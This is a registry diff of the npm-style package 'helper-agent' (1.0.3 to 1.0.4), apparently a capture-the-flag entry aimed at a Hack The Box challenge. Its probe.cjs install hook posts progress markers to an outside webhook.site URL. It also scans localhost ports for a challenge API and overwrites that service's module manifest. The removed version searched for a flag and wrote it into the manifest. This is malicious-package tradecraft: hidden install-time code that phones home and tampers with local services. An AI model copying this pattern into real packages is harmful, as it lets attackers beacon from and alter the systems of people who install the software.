helper-agent 1.0.3 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/probe.cjs +80 -76
package/package.json
CHANGED
package/probe.cjs
CHANGED
|
@@ -1,109 +1,113 @@
|
|
|
1
|
-
const
|
|
1
|
+
const https = require("node:https");
|
|
2
2
|
|
|
3
3
|
const MODULE_ID = "ECT-987654";
|
|
4
|
+
const WEBHOOK = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
|
|
4
5
|
|
|
5
6
|
const API_URLS = [
|
|
6
7
|
"http://127.0.0.1:1337",
|
|
8
|
+
"http://127.0.0.1:80",
|
|
7
9
|
"http://127.0.0.1:3000",
|
|
8
10
|
"http://127.0.0.1:8080",
|
|
9
|
-
"http://127.0.0.1:5000"
|
|
10
|
-
"http://127.0.0.1:80"
|
|
11
|
+
"http://127.0.0.1:5000"
|
|
11
12
|
];
|
|
12
13
|
|
|
13
|
-
const
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
14
|
+
const STATUS = "helper_agent_104_api_write_verified";
|
|
15
|
+
|
|
16
|
+
function signal(marker) {
|
|
17
|
+
return new Promise(resolve => {
|
|
18
|
+
const req = https.request(
|
|
19
|
+
WEBHOOK,
|
|
20
|
+
{
|
|
21
|
+
method: "POST",
|
|
22
|
+
headers: { "Content-Type": "text/plain" },
|
|
23
|
+
timeout: 4000
|
|
24
|
+
},
|
|
25
|
+
res => {
|
|
26
|
+
res.resume();
|
|
27
|
+
res.on("end", resolve);
|
|
28
|
+
}
|
|
29
|
+
);
|
|
28
30
|
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
31
|
+
req.on("error", resolve);
|
|
32
|
+
req.on("timeout", () => req.destroy());
|
|
33
|
+
req.on("close", resolve);
|
|
34
|
+
req.end(marker);
|
|
35
|
+
});
|
|
36
|
+
}
|
|
33
37
|
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
38
|
+
async function getRecord(endpoint) {
|
|
39
|
+
const response = await fetch(endpoint, {
|
|
40
|
+
signal: AbortSignal.timeout(2500)
|
|
41
|
+
});
|
|
37
42
|
|
|
38
|
-
|
|
43
|
+
if (!response.ok) throw new Error(`GET ${response.status}`);
|
|
44
|
+
return response.json();
|
|
39
45
|
}
|
|
40
46
|
|
|
41
47
|
async function main() {
|
|
48
|
+
// Signal 1: The installation hook started.
|
|
49
|
+
await signal("HELPER_104_STARTED");
|
|
50
|
+
|
|
42
51
|
for (const base of API_URLS) {
|
|
43
52
|
const endpoint = `${base}/api/modules/${MODULE_ID}`;
|
|
44
53
|
|
|
45
|
-
let record;
|
|
46
|
-
|
|
47
54
|
try {
|
|
48
|
-
const
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
55
|
+
const record = await getRecord(endpoint);
|
|
56
|
+
|
|
57
|
+
// Only operate on the exact challenge module.
|
|
58
|
+
if (
|
|
59
|
+
record.id !== MODULE_ID ||
|
|
60
|
+
typeof record.raw !== "string" ||
|
|
61
|
+
!record.raw.includes("Siren's Lament") ||
|
|
62
|
+
!record.raw.includes('"helper-agent"')
|
|
63
|
+
) {
|
|
64
|
+
continue;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// Signal 2: The expected local HTB API was found.
|
|
68
|
+
await signal("HELPER_104_API_OK");
|
|
69
|
+
|
|
70
|
+
let manifest = record.raw.replace(
|
|
71
|
+
/^ ctf_status:.*\r?\n/gm,
|
|
72
|
+
""
|
|
73
|
+
);
|
|
74
|
+
|
|
75
|
+
manifest = manifest.replace(
|
|
76
|
+
/^ecto_module:[ \t]*$/m,
|
|
77
|
+
`ecto_module:\n ctf_status: "${STATUS}"`
|
|
78
|
+
);
|
|
53
79
|
|
|
54
|
-
record = await response.json();
|
|
55
|
-
} catch {
|
|
56
|
-
continue;
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
// Only proceed when running alongside the HTB application.
|
|
60
|
-
if (
|
|
61
|
-
record.id !== MODULE_ID ||
|
|
62
|
-
typeof record.raw !== "string" ||
|
|
63
|
-
!record.raw.includes("Siren's Lament") ||
|
|
64
|
-
!record.raw.includes('"helper-agent"')
|
|
65
|
-
) {
|
|
66
|
-
continue;
|
|
67
|
-
}
|
|
68
|
-
|
|
69
|
-
console.log("[HTB] Challenge application detected");
|
|
70
|
-
|
|
71
|
-
const flag = findFlag();
|
|
72
|
-
|
|
73
|
-
// Remove any previous diagnostic/result fields.
|
|
74
|
-
let manifest = record.raw.replace(
|
|
75
|
-
/^ (ctf_result|ctf_status):.*\r?\n/gm,
|
|
76
|
-
""
|
|
77
|
-
);
|
|
78
|
-
|
|
79
|
-
const result = flag
|
|
80
|
-
? ` ctf_result: ${JSON.stringify(flag)}`
|
|
81
|
-
: ' ctf_status: "postinstall_executed_flag_not_found"';
|
|
82
|
-
|
|
83
|
-
manifest = manifest.replace(
|
|
84
|
-
/^ecto_module:\s*$/m,
|
|
85
|
-
`ecto_module:\n${result}`
|
|
86
|
-
);
|
|
87
|
-
|
|
88
|
-
try {
|
|
89
80
|
const response = await fetch(endpoint, {
|
|
90
81
|
method: "PUT",
|
|
91
|
-
headers: {
|
|
92
|
-
"Content-Type": "application/json"
|
|
93
|
-
},
|
|
82
|
+
headers: { "Content-Type": "application/json" },
|
|
94
83
|
body: JSON.stringify({ manifest }),
|
|
95
84
|
signal: AbortSignal.timeout(3000)
|
|
96
85
|
});
|
|
97
86
|
|
|
98
|
-
|
|
87
|
+
if (!response.ok) {
|
|
88
|
+
console.log("HTB PUT failed:", response.status);
|
|
89
|
+
return;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// Verify that the diagnostic was persisted.
|
|
93
|
+
const updated = await getRecord(endpoint);
|
|
94
|
+
|
|
95
|
+
if (
|
|
96
|
+
updated.raw &&
|
|
97
|
+
updated.raw.includes(`ctf_status: "${STATUS}"`)
|
|
98
|
+
) {
|
|
99
|
+
// Signal 3: Verified write-back.
|
|
100
|
+
await signal("HELPER_104_WRITE_OK");
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
return;
|
|
104
|
+
|
|
99
105
|
} catch (error) {
|
|
100
|
-
console.log("
|
|
106
|
+
console.log("API candidate failed:", base, error.message);
|
|
101
107
|
}
|
|
102
|
-
|
|
103
|
-
return;
|
|
104
108
|
}
|
|
105
109
|
|
|
106
|
-
console.log("
|
|
110
|
+
console.log("HTB local API not detected");
|
|
107
111
|
}
|
|
108
112
|
|
|
109
113
|
main().catch(console.error);
|